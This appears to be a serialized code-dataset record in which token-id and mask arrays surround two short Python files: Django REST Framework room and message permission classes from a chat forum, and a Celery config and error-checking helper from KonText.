[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rdujardin/icforum
icforum/chat/api/permissions.py
1
1257
# Copyright 2016 Infinite Connection # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from rest_framework import permissions class RoomPermission(permissions.BasePermission): """ Custom permission to allow only members of a room to see it. """ def has_object_permission(self, request, view, obj): return request.user in obj.members.all() class ChatMessagePermission(permissions.BasePermission): """ Custom permission to allow only members of a room to post in it and allow only authors to edit their messages. """ def has_object_permission(self, request, view, obj): if request.method in permissions.SAFE_METHODS: return request.user in obj.room.members.all() return obj.author == request.user and request.user in obj.room.members.all()
apache-2.0
[ 3, 1898, 7800, 1010, 8005, 8113, 199, 3, 221, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 221, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 4618, 63, 4857, 492, 3443, 199, 199, 533, 6848, 676, 7980, 8, 6060, 14, 1563, 7980, 304, 199, 198, 624, 199, 198, 7223, 4983, 370, 2040, 1454, 7556, 402, 282, 14726, 370, 1937, 652, 14, 199, 198, 624, 421, 198, 318, 965, 63, 785, 63, 5693, 8, 277, 12, 1056, 12, 2455, 12, 1559, 304, 507, 198, 1107, 1056, 14, 751, 315, 1559, 14, 6334, 14, 452, 342, 199, 199, 533, 2799, 292, 2209, 7980, 8, 6060, 14, 1563, 7980, 304, 199, 198, 624, 199, 198, 7223, 4983, 370, 2040, 1454, 7556, 402, 282, 14726, 370, 2963, 315, 652, 436, 2040, 1454, 11462, 370, 5283, 3932, 3788, 14, 199, 198, 624, 421, 198, 318, 965, 63, 785, 63, 5693, 8, 277, 12, 1056, 12, 2455, 12, 1559, 304, 507, 198, 692, 1056, 14, 765, 315, 3443, 14, 27657, 63, 18383, 26, 686, 198, 1107, 1056, 14, 751, 315, 1559, 14, 11245, 14, 6334, 14, 452, 342, 2742, 198, 1107, 1559, 14, 2502, 508, 1056, 14, 751, 436, 1056, 14, 751, 315, 1559, 14, 11245, 14, 6334, 14, 452, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 7800, 1010, 8005, 8113, 199, 3, 221, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 221, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 4618, 63, 4857, 492, 3443, 199, 199, 533, 6848, 676, 7980, 8, 6060, 14, 1563, 7980, 304, 199, 198, 624, 199, 198, 7223, 4983, 370, 2040, 1454, 7556, 402, 282, 14726, 370, 1937, 652, 14, 199, 198, 624, 421, 198, 318, 965, 63, 785, 63, 5693, 8, 277, 12, 1056, 12, 2455, 12, 1559, 304, 507, 198, 1107, 1056, 14, 751, 315, 1559, 14, 6334, 14, 452, 342, 199, 199, 533, 2799, 292, 2209, 7980, 8, 6060, 14, 1563, 7980, 304, 199, 198, 624, 199, 198, 7223, 4983, 370, 2040, 1454, 7556, 402, 282, 14726, 370, 2963, 315, 652, 436, 2040, 1454, 11462, 370, 5283, 3932, 3788, 14, 199, 198, 624, 421, 198, 318, 965, 63, 785, 63, 5693, 8, 277, 12, 1056, 12, 2455, 12, 1559, 304, 507, 198, 692, 1056, 14, 765, 315, 3443, 14, 27657, 63, 18383, 26, 686, 198, 1107, 1056, 14, 751, 315, 1559, 14, 11245, 14, 6334, 14, 452, 342, 2742, 198, 1107, 1559, 14, 2502, 508, 1056, 14, 751, 436, 1056, 14, 751, 315, 1559, 14, 11245, 14, 6334, 14, 452, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ufal/lindat-kontext
lib/bgcalc/celery.py
2
1633
# Copyright (c) 2018 Charles University, Faculty of Arts, # Institute of the Czech National Corpus # Copyright (c) 2018 Tomas Machalek <tomas.machalek@gmail.com> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # dated June, 1991. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. class Config(object): BROKER_URL = None CELERY_RESULT_BACKEND = None CELERY_TASK_SERIALIZER = 'json' CELERY_RESULT_SERIALIZER = 'json' CELERY_ACCEPT_CONTENT = ['json'] CELERY_TIMEZONE = None def is_celery_error(err): """ Because Celery when using json serialization cannot (de)serialize original exceptions, errors it throws to a client are derived ones dynamically generated within package 'celery.backends.base'. It means that static 'except' blocks are impossible and we must catch Exception and investigate further. This function helps with that. """ return isinstance(err, Exception) and err.__class__.__module__ == 'celery.backends.base' def is_celery_user_error(err): """ Tests whether a provided exception is a Celery derived exception generated from KonText's UserActionException. Please see is_bgcalc_error for more explanation. """ return is_celery_error(err) and err.__class__.__name__ == 'UserActionException'
gpl-2.0
[ 3, 1898, 334, 67, 9, 14894, 6659, 2978, 15904, 12, 481, 645, 17323, 402, 1952, 1086, 12, 199, 3, 8540, 1010, 25585, 402, 314, 445, 806, 335, 20548, 7499, 8843, 199, 3, 1898, 334, 67, 9, 14894, 21644, 305, 30611, 1895, 75, 665, 3151, 305, 14, 14121, 1895, 75, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1015, 499, 199, 3, 366, 972, 1603, 11474, 12, 9013, 17, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 421, 199, 533, 4094, 8, 785, 304, 272, 699, 1092, 19972, 63, 2632, 275, 488, 272, 445, 2901, 9418, 63, 9517, 63, 18145, 275, 488, 272, 445, 2901, 9418, 63, 17179, 63, 19637, 5357, 540, 275, 283, 1001, 7, 272, 445, 2901, 9418, 63, 9517, 63, 19637, 5357, 540, 275, 283, 1001, 7, 272, 445, 2901, 9418, 63, 13089, 63, 9663, 275, 788, 1001, 418, 272, 445, 2901, 9418, 63, 4961, 15353, 275, 488, 421, 199, 318, 365, 63, 23593, 63, 705, 8, 1508, 304, 272, 408, 272, 13821, 445, 19028, 1380, 1808, 2022, 16953, 3913, 334, 271, 9, 3549, 3379, 4967, 12, 272, 2552, 652, 24266, 370, 282, 1890, 787, 7131, 7869, 18774, 4046, 4453, 2559, 272, 283, 23593, 14, 7765, 14, 1095, 1370, 2779, 4910, 626, 2955, 283, 2590, 7, 5664, 787, 26847, 436, 781, 272, 1471, 8579, 2186, 436, 315, 27174, 323, 9848, 14, 961, 805, 22577, 543, 626, 14, 272, 408, 272, 372, 1228, 8, 1508, 12, 2186, 9, 436, 2329, 855, 533, 4914, 578, 363, 508, 283, 23593, 14, 7765, 14, 1095, 7, 421, 199, 318, 365, 63, 23593, 63, 751, 63, 705, 8, 1508, 304, 272, 408, 272, 6496, 3775, 282, 2741, 1919, 365, 282, 445, 19028, 7131, 1919, 4046, 687, 272, 1804, 265, 1872, 1159, 2876, 3310, 1726, 14, 7754, 1937, 365, 63, 6856, 8104, 63, 705, 367, 1655, 17531, 14, 339, 408, 272, 372, 365, 63, 23593, 63, 705, 8, 1508, 9, 436, 2329, 855, 533, 4914, 354, 363, 508, 283, 1899, 3310, 1726, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
